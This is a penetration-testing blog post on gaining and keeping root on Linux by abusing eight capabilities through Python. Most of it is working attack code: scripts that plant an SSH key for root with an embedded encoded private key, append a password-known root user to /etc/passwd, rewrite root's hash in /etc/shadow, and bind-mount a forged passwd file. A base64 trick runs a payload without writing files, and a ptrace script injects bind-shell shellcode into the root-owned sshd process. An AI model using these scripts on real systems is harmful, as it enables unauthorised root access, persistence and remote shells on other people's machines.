Let’s imagine that during a pentest you managed to root a box, it can be interesting to come back later and perform actions as root user. To do this, many public techniques already exist and I just want to introduce to you, or re-introduce, a technique mixing Linux capabilities and Python.

So I’m going to present you 8 capabilities and for each one of them I’m going to show you how to raise your privileges to the root user.

Here is the list of capabilities that will be presented to you:

  • CAP_CHOWN
  • CAP_DAC_OVERRIDE
  • CAP_FOWNER
  • CAP_SETFCAP
  • CAP_SETGID
  • CAP_SETUID
  • CAP_SYS_ADMIN
  • CAP_SYS_PTRACE

CAP_CHOWN

Make arbitrary changes to file UIDs and GIDs (see chown(2)).

File: CAP_CHOWN.py

import base64,gzip,os
a="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"
b="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCf9KuqC6XRMPtua2sH6Rrbz2WOXFBNvJxMcDq/PC1EzjGOU4XaVLN5EcgCnVBJaIwi/ZsqsvoH9LcgOarUbmYbbpvWwPlKawFNoTgQWPqdi9wE6tq5L5t3KcWdhlsCr/z4Bva94tg4NOp6hvU3YBcu9mzDNYjKUWIT+JSylvk4xZis3LC9ibwrTxYE/hYzTsWLQEuaWYj3eS1JhxqVwzCBWlqYWFb+/CKUUj2eqbvubace+1wmDrNjYTv4EFO+VDdbtslyfEDhrPhOol4QsNoehnDkeD5TePeKR62U1Wg877wQ0NHdSOYj9axoR8SYT8WZm2j0+CVptDuUikxuSH4Px+WVC1JTTQhoh4PBCgqDaTTnxYlQLvScPW/RL21qtFuXg2rmnHfAGZYWG65z3d/kjdCRHG3+kpK7lvLK68D9qlEnTYGdLvinSjxTtZP1rMzUh9p2SRhZTZNPYPkC4T24kswhF9Ee2USrYKkstjFUkNV3yAxWUT5wB3Wx/71nnXU=\n"
c=os.getuid()
d,e,f,g=["/root",".ssh","authorized_keys",".bak"]
os.chown(f"{d}",c,c)
os.chown(f"{d}/{e}",c,c)
os.chown(f"{d}/{e}/{f}",c,c)
if not os.path.exists(f"{f}{g}"):
    h=open(f"{d}/{e}/{f}","r")
    i=h.read()
    h.close()
    j=open(f"{f}{g}","w")
    j.write(i)
    j.close()
k=open(f"{d}/{e}/{f}","a+")
k.write(b)
k.close()
l=open("id_rsa","w")
l.write(gzip.decompress(base64.b64decode(a)).decode().lstrip("\n"))
l.close()
os.chmod("id_rsa", 0o600)
os.chown(f"{d}/{e}/{f}", 0, 0)
os.chown(f"{d}/{e}", 0, 0)
os.chown(f"{d}", 0, 0)
os.system("ssh -i id_rsa root@127.0.0.1")

What the script does is that it makes a backup of /root/.ssh/authorized_keys (as authorized_keys.bak) and adds a public key to the original file. It is, therefore, necessary once the shell is obtained to restore the original file.

POC

alt-text

CAP_DAC_OVERRIDE

Bypass file read, write, and execute permission checks. (DAC is an abbreviation of “discretionary access control”.)

File: CAP_DAC_OVERRIDE.py

import os
a,b,c=["/etc","passwd",".bak"]
d=open(f"{a}/{b}","r")
e=d.read()
d.close()
if not os.path.exists(f"{b}{c}"):
    f=open(f"{b}{c}","w")
    f.write(e)
    f.close()
g=e+"coiffeur:$1$coiffeur$XvB.cT7JRRpX.JUEdqTc40:0:0:root:/root:/bin/bash\n"
h=open(f"{a}/{b}","w")
h.write(g)
h.close()
os.system("su coiffeur")

In order not to drop any file on the disk, we can use the tricks implemented in the tool I developed to run ELF binaries in RAM, PyleLess.

import base64

# Here is our payload:
code = '''
import os
a,b,c=["/etc","passwd",".bak"]
d=open(f"{a}/{b}","r")
e=d.read()
d.close()
if not os.path.exists(f"{b}{c}"):
    f=open(f"{b}{c}","w")
    f.write(e)
    f.close()
g=e+"coiffeur:$1$coiffeur$XvB.cT7JRRpX.JUEdqTc40:0:0:root:/root:/bin/bash"
h=open(f"{a}/{b}","w")
h.write(g)
h.close()
os.system("su coiffeur")
'''

# Here we print our payload encoded in base64.
encoded_code = base64.b64encode(code.encode())
print(encoded_code.decode())

Which gives us the following result:

CmltcG9ydCBvcwphLGIsYz1bIi9ldGMiLCJwYXNzd2QiLCIuYmFrIl0KZD1vcGVuKGYie2F9L3tifSIsInIiKQplPWQucmVhZCgpCmQuY2xvc2UoKQppZiBub3Qgb3MucGF0aC5leGlzdHMoZiJ7Yn17Y30iKToKICAgIGY9b3BlbihmIntifXtjfSIsInciKQogICAgZi53cml0ZShlKQogICAgZi5jbG9zZSgpCmc9ZSsiY29pZmZldXI6JDEkY29pZmZldXIkWHZCLmNUN0pSUnBYLkpVRWRxVGM0MDowOjA6cm9vdDovcm9vdDovYmluL2Jhc2giCmg9b3BlbihmInthfS97Yn0iLCJ3IikKaC53cml0ZShnKQpoLmNsb3NlKCkKb3Muc3lzdGVtKCJzdSBjb2lmZmV1ciIpCg==

Then execute the following bash command.

./python3 -c 'import base64;code="CmltcG9ydCBvcwphLGIsYz1bIi9ldGMiLCJwYXNzd2QiLCIuYmFrIl0KZD1vcGVuKGYie2F9L3tifSIsInIiKQplPWQucmVhZCgpCmQuY2xvc2UoKQppZiBub3Qgb3MucGF0aC5leGlzdHMoZiJ7Yn17Y30iKToKICAgIGY9b3BlbihmIntifXtjfSIsInciKQogICAgZi53cml0ZShlKQogICAgZi5jbG9zZSgpCmc9ZSsiY29pZmZldXI6JDEkY29pZmZldXIkWHZCLmNUN0pSUnBYLkpVRWRxVGM0MDowOjA6cm9vdDovcm9vdDovYmluL2Jhc2giCmg9b3BlbihmInthfS97Yn0iLCJ3IikKaC53cml0ZShnKQpoLmNsb3NlKCkKb3Muc3lzdGVtKCJzdSBjb2lmZmV1ciIpCg==";eval(compile(base64.b64decode(code),"<string>","exec"))'

What the script does is that it makes a backup of /etc/passwd (as passwd.bak) and adds an entry to the original file. It is, therefore, necessary once the shell is obtained (using password toor) to restore the original file.

POC

alt-text

CAP_FOWNER

  • Bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file (e.g., chmod(2), utime(2)), excluding those operations covered by CAP_DAC_OVERRIDE and CAP_DAC_READ_SEARCH;
  • set inode flags (see ioctl_iflags(2)) on arbitrary files;
  • set Access Control Lists (ACLs) on arbitrary files;
  • ignore directory sticky bit on file deletion;
  • modify user extended attributes on sticky directory owned by any user;
  • specify O_NOATIME for arbitrary files in open(2) and fcntl(2).

File: CAP_FOWNER.py

import os
a,b,c=["/etc","shadow",".bak"]
os.chmod(f"{a}/{b}",0o777)
d=open(f"{a}/{b}","r")
e=d.read()
if not os.path.exists(f"{b}{c}"):
    f=open(f"{b}{c}","w")
    f.write(e)
    f.close()
d.close()
g=e.find("\n")
h=e[0:g].split(":")
h[1]="$1$coiffeur$XvB.cT7JRRpX.JUEdqTc40"
i=":".join(h)+e[g::]
j=open(f"{a}/{b}","w")
j.write(i)
j.close()
os.chmod(f"{a}/{b}",0o000)
os.system("su")

What the script does is that it makes a backup of /etc/shadow (as shadow.bak) and edit the original file. It is, therefore, necessary once the shell is obtained (using password toor) to restore the original file.

POC

alt-text

CAP_SETFCAP

Set arbitrary capabilities on a file.

Since Linux 5.12, this capability is also needed to map user ID 0 in a new user namespace; see user_namespaces(7) for details.

File: CAP_SETFCAP.py

import ctypes,os
a,b,c,d,e=["bash","libcap.so.2","CAP_SETPCAP,CAP_SETUID=+pe","./python3","CAP_SETFCAP.py"]
try:
    os.setuid(0)
    os.system(a)
except:
    f=ctypes.cdll.LoadLibrary(b)
    f.cap_from_text.argtypes=[ctypes.c_char_p]
    f.cap_from_text.restype=ctypes.c_void_p
    f.cap_set_file.argtypes=[ctypes.c_char_p,ctypes.c_void_p]
    g=c.encode()
    path=d.encode()
    h=f.cap_from_text(g)
    f.cap_set_file(path,h)
    os.system(f"{d} {e}")

What the script does is that it adds the capability CAP_SETUID to file ./python3.

POC

alt-text

CAP_SETGID

  • Make arbitrary manipulations of process GIDs and supplementary GID list;
  • forge GID when passing socket credentials via UNIX domain sockets;
  • write a group ID mapping in a user namespace (see user_namespaces(7)).

File: CAP_SETGID.py

import os
os.setgid(0)
os.system("bash")

POC

alt-text

CAP_SETUID

  • Make arbitrary manipulations of process UIDs (setuid(2), setreuid(2), setresuid(2), setfsuid(2));
  • forge UID when passing socket credentials via UNIX domain sockets;
  • write a user ID mapping in a user namespace (see user_namespaces(7)).

File: CAP_SETUID.py

import os
os.setuid(0)
os.system("bash")

POC

alt-text

CAP_SYS_ADMIN

  • Perform a range of system administration operations including: quotactl(2), mount(2), umount(2), pivot_root(2), swapon(2), swapoff(2), sethostname(2), and setdomainname(2);
  • perform privileged syslog(2) operations (since Linux 2.6.37, CAP_SYSLOG should be used to permit such operations);
  • perform VM86_REQUEST_IRQ vm86(2) command;
  • access the same checkpoint/restore functionality that is governed by CAP_CHECKPOINT_RESTORE (but the latter, weaker capability is preferred for accessing that functionality).
  • perform the same BPF operations as are governed by CAP_BPF (but the latter, weaker capability is preferred for accessing that functionality).
  • employ the same performance monitoring mechanisms as are governed by CAP_PERFMON (but the latter, weaker capability is preferred for accessing that functionality).
  • perform IPC_SET and IPC_RMID operations on arbitrary System V IPC objects;
  • override RLIMIT_NPROC resource limit;
  • perform operations on trusted and security extended attributes (see xattr(7));
  • use lookup_dcookie(2);
  • use ioprio_set(2) to assign IOPRIO_CLASS_RT and (before Linux 2.6.25) IOPRIO_CLASS_IDLE I/O scheduling classes;
  • forge PID when passing socket credentials via UNIX domain sockets;
  • exceed /proc/sys/fs/file-max, the system-wide limit on the number of open files, in system calls that open files (e.g., accept(2), execve(2), open(2), pipe(2));
  • employ CLONE_* flags that create new namespaces with clone(2) and unshare(2) (but, since Linux 3.8, creating user namespaces does not require any capability);
  • access privileged perf event information;
  • call setns(2) (requires CAP_SYS_ADMIN in the target namespace);
  • call fanotify_init(2);
  • perform privileged KEYCTL_CHOWN and KEYCTL_SETPERM keyctl(2) operations;
  • perform madvise(2) MADV_HWPOISON operation;
  • employ the TIOCSTI ioctl(2) to insert characters into the input queue of a terminal other than the caller’s controlling terminal;
  • employ the obsolete nfsservctl(2) system call;
  • employ the obsolete bdflush(2) system call;
  • perform various privileged block-device ioctl(2) operations;
  • perform various privileged filesystem ioctl(2) operations;
  • perform privileged ioctl(2) operations on the /dev/random device (see random(4));
  • install a seccomp(2) filter without first having to set the no_new_privs thread attribute;
  • modify allow/deny rules for device control groups;
  • employ the ptrace(2) PTRACE_SECCOMP_GET_FILTER operation to dump tracee’s seccomp filters;
  • employ the ptrace(2) PTRACE_SETOPTIONS operation to suspend the tracee’s seccomp protections (i.e., the PTRACE_O_SUSPEND_SECCOMP flag);
  • perform administrative operations on many device drivers;
  • modify autogroup nice values by writing to /proc/[pid]/autogroup (see sched(7)).

File: CAP_SYS_ADMIN.py

import ctypes,os
a,b,c=["libc.so.6","/etc","passwd"]
d=ctypes.cdll.LoadLibrary(a)
d.mount.argtypes=[ctypes.c_char_p, ctypes.c_char_p, ctypes.c_char_p, ctypes.c_ulong, ctypes.c_char_p]
e=open(f"{c}", "w")
e.write("root:$1$coiffeur$XvB.cT7JRRpX.JUEdqTc40:0:0:root:/root:/bin/bash\n")
e.close()
d.mount(f"{c}".encode(),f"{b}/{c}".encode(), b"", 4096, b"rw")
os.system("su")

What the script does is that it makes a bind mount of ./passwd on /etc/passwd.

POC

alt-text

CAP_SYS_PTRACE

  • Trace arbitrary processes using ptrace(2);
  • apply get_robust_list(2) to arbitrary processes;
  • transfer data to or from the memory of arbitrary processes using process_vm_readv(2) and process_vm_writev(2);
  • inspect processes using kcmp(2).

File: CAP_SYS_PTRACE.py

import ctypes
import struct
import subprocess

# URL: https://www.exploit-db.com/exploits/41128
SHELLCODE  = b""
SHELLCODE += b"\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02"
SHELLCODE += b"\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e"
SHELLCODE += b"\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a"
SHELLCODE += b"\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75"
SHELLCODE += b"\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48"
SHELLCODE += b"\x8d\x3c\x24\xb0\x3b\x0f\x05\x90"

# File: /usr/include/sys/ptrace.h
PTRACE_PEEKTEXT     = 1
PTRACE_PEEKDATA     = 2
PTRACE_PEEKUSER     = 3
PTRACE_POKETEXT     = 4
PTRACE_POKEDATA     = 5
PTRACE_POKEUSER     = 6
PTRACE_CONT         = 7
PTRACE_KILL         = 8
PTRACE_SINGLESTEP   = 9
PTRACE_GETREGS      = 12
PTRACE_SETREGS      = 13
PTRACE_GETFPREGS    = 14
PTRACE_SETFPREGS    = 15
PTRACE_ATTACH       = 16
PTRACE_DETACH       = 17
PTRACE_GETFPXREGS   = 18
PTRACE_SETFPXREGS   = 19
PTRACE_SYSCALL      = 24
PTRACE_SETOPTIONS   = 0x4200
PTRACE_GETEVENTMSG  = 0x4201
PTRACE_GETSIGINFO   = 0x4202
PTRACE_SETSIGINFO   = 0x4203


# File: /usr/include/sys/user.h
class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_uint64),
        ("r14", ctypes.c_uint64),
        ("r13", ctypes.c_uint64),
        ("r12", ctypes.c_uint64),
        ("rbp", ctypes.c_uint64),
        ("rbx", ctypes.c_uint64),
        ("r11", ctypes.c_uint64),
        ("r10", ctypes.c_uint64),
        ("r9", ctypes.c_uint64),
        ("r8", ctypes.c_uint64),
        ("rax", ctypes.c_uint64),
        ("rcx", ctypes.c_uint64),
        ("rdx", ctypes.c_uint64),
        ("rsi", ctypes.c_uint64),
        ("rdi", ctypes.c_uint64),
        ("orig_rax", ctypes.c_uint64),
        ("rip", ctypes.c_uint64),
        ("cs", ctypes.c_uint64),
        ("eflags", ctypes.c_uint64),
        ("rsp", ctypes.c_uint64),
        ("ss", ctypes.c_uint64),
        ("fs_base", ctypes.c_uint64),
        ("gs_base", ctypes.c_uint64),
        ("ds", ctypes.c_uint64),
        ("es", ctypes.c_uint64),
        ("fs", ctypes.c_uint64),
        ("gs", ctypes.c_uint64),
    ]


def find_ssh_pid():
    p = subprocess.Popen(["bash", "-c", "ps auxf|grep sshd|grep root|tail -n 1|awk '{print $2}'"], stdout=subprocess.PIPE)
    out, err = p.communicate()
    pid = int(out.decode().rstrip("\n"))
    if not err:
        return pid
    return -1


def inject_shellcode(pid, src, dst, len):
    print(f"[*] Injecting shellcode of size {len} at {hex(dst)} in process {pid} ...")
    for i in range(0,len,8):
        word = struct.unpack("L", src[i:i+8])[0]
        if libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(dst+i), word) < 0:
            print(f"[x] ptrace() failed to write the word.")
            exit(-1)
    return 0


if __name__ == "__main__":
    ssh_pid = find_ssh_pid()
    if ssh_pid < 0:
        print("[x] find_ssh_pid() failed to find sshd PID")
        exit(-1)
    print(f"[+] sshd pid: {ssh_pid}")

    # File: /usr/include/sys/ptrace.h
    libc = ctypes.cdll.LoadLibrary("libc.so.6")
    libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
    libc.ptrace.restype = ctypes.c_uint64

    if libc.ptrace(PTRACE_ATTACH, ssh_pid, None, None) < 0:
        print(f"[x] ptrace() failed to attached to process: {ssh_pid}")
        exit(-1)
    print(f"[+] ptrace() attached to process: {ssh_pid}")

    backup_registers = user_regs_struct()
    if libc.ptrace(PTRACE_GETREGS, ssh_pid, None, ctypes.byref(backup_registers)) < 0:
        print("[x] ptrace() failed to get registers.")
        exit(-1)
    print(f"[+] RIP: {hex(backup_registers.rip)}")

    if inject_shellcode(ssh_pid, SHELLCODE, backup_registers.rip, len(SHELLCODE)) < 0:
        print("[x] inject_shellcode() failed to inject shellcode.")
        exit(-1)
    print("[+] inject_shellcode() succeed.")

    registers = backup_registers
    registers.rip += 2 
    if libc.ptrace(PTRACE_SETFPREGS, ssh_pid, None, ctypes.byref(registers)) < 0:
        print("[x] ptrace() failed to set registers.")
        exit(-1)
    print(f"[+] New RIP: {hex(registers.rip)}")

    if libc.ptrace(PTRACE_DETACH, ssh_pid, None, None) < 0:
        print(f"[x] ptrace() failed to detached from process: {ssh_pid}")
        exit(-1)
    print(f"[+] ptrace() detached from process: {ssh_pid}")

What the script does, is that it attaches itself using ptrace() to the sshd process owned by root to rewrite the memory pointed by RIP with a shellcode (bind shell on port 5600).

POC

alt-text

Conclusion

All that has been shown to you is just proofs of concepts, because important file backups (/etc/passwd, /etc/shadow, /root/.ssh/authorized_keys) are done in the current directory (when they could have be done in /dev/shm), the normal sshd execution flow is interrupted and replaced by shellcode, etc. That’s why I therefore advise you not to use thoses POCs as they are written (you should add some modification to use them during your pentest).

Thanks for reading.

Ressources